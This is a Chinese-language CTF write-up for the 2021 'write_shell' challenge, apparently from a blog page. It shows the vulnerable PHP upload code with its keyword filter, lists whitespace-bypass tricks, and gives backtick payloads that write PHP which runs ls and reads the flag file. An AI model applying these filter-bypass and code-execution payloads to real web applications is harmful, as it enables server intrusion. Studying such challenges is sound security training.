[红明谷CTF 2021]write_shell

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

分析代码

?action=pwd

回显

/sandbox/c55e0cb61f7eb238df09ae30a206e5ee

file_put_contents("$dir" . "index.php", $data);

意思是在/sandbox/c55e0cb61f7eb238df09ae30a206e5ee中的index.php写入data数据

waf 过滤了’ 空格 _ php ; eval 等

空格绕过

    < <> 重定向符
    %09(需要php环境)
    ${IFS}
    $IFS$9
    {cat,flag.php} //用逗号实现了空格功能
    %20
    %09

空格选择%09

 过滤单引号,可以使用反引号绕过,在php中,被反引号包裹的代码会被当做命令执行

payload

?action=upload&data=<?echo%09`ls%09/`?>

查看

http://1374581e-658e-433b-a6dd-4e83b268045f.node4.buuoj.cn:81/sandbox/c55e0cb61f7eb238df09ae30a206e5ee/index.php
 

bin boot dev etc flllllll1112222222lag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var


payload

?action=upload&data=<?echo%09`cat%09/flllllll1112222222lag`?>

得到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

半两八金

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值